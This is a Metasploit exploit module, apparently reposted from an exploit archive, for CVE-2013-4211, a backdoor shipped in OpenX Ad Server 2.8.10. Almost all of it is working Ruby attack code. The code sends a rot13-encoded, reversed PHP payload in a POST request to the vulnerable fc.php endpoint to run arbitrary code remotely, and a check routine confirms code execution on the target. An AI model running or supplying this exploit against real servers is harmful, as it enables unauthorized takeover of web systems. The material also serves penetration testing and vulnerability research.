OpenX Backdoor PHP Code Execution Exploit

:
13.08.2013
:
OpenX
:
:
OpenX Source

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenX Backdoor PHP Code Execution',
'Description' => %q{
OpenX Ad Server version 2.8.10 was shipped with an obfuscated
backdoor since at least November 2012 through August 2013.
Exploitation is simple, requiring only a single request with a
rot13'd and reversed payload.
},
'Author' =>
[
'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
'Unknown', # Someone planted this backdoor...
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-4211' ],
[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html']
[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'Aug 07 2013',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Generic (PHP payload)', { }]],
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
], self.class)
end

def check
token = rand_text_alpha(20)
response = execute_php("echo '#{token} '.phpversion();die();")

if response.nil?
CheckCode::Unknown
elsif response.body =~ /#{token} ((:?\d\.?)+)/
print_status("PHP Version #{$1}")
return CheckCode::Vulnerable
end
return CheckCode::Safe
end

def exploit
execute_php(payload.encoded)

handler
end

def execute_php(php_code)
money = rot13(php_code.reverse)
begin
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"),
'vars_get' => {
'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
'script' => 'deliveryLog:vastServeVideoPlayer:player'
},
'vars_post' => {
'vastPlayer' => money
},
}, 0.1)
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue ::OpenSSL::SSL::SSLError
fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
end

response
end

def rot13(str)
str.tr! "A-Za-z", "N-ZA-Mn-za-m"
end

end